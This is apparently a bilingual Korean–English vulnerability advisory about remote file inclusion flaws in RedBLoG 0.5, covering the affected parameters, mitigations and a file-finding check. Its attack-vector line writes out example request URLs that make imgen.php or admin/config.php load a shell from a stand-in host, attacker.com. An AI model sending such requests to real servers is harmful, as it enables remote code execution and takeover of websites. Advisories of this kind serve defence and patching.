🇰🇷 한글 설명
RedBLoG 0.5 블로깅 소프트웨어의 원격 파일 포함(RFI) 취약점으로, imgen.php와 admin/ 디렉토리의 여러 PHP 파일에서 root 및 root_path 파라미터를 통해 악의적인 원격 파일을 로드할 수 있습니다. 공격자는 이를 이용하여 웹 서버 권한으로 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
오래된 RedBLoG 블로그 프로그램에서 사용자 입력을 제대로 검증하지 않아, 공격자가 악의적인 PHP 파일을 원격에서 실행시킬 수 있는 취약점입니다. 이 취약점을 통해 웹사이트가 완전히 장악될 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in redgun RedBLoG 0.5 allow remote attackers to execute arbitrary PHP code via a URL in (1) the root parameter in imgen.php, and the root_path parameter in (2) admin/config.php, (3) common.php, and (4) admin/index.php. NOTE: the provenance of this information is unknown; the details are obtained from third party information.
📍 영향받는 시스템
RedBLoG 0.5 및 이전 버전
⚔️ 공격 벡터
GET/POST 요청으로 imgen.php?root=http://attacker.com/shell.php 또는 admin/config.php?root_path=http://attacker.com/shell.php 형태로 공격
🛡️ 대응 방법
RedBLoG를 최신 버전으로 업그레이드하거나 해당 소프트웨어 사용 중단; 임시 조치로는 root/root_path 파라미터 값 검증 로직 추가 및 원격 파일 포함(allow_url_include) 비활성화
🔧 검증 코드
위 파일들이 발견되면 RedBLoG가 설치된 것으로, 버전이 0.5 이하인 경우 취약합니다. 파일이 없으면 시스템이 안전합니다.
find / -path '*/admin/config.php' -o -path '*/imgen.php' 2>/dev/null | head -5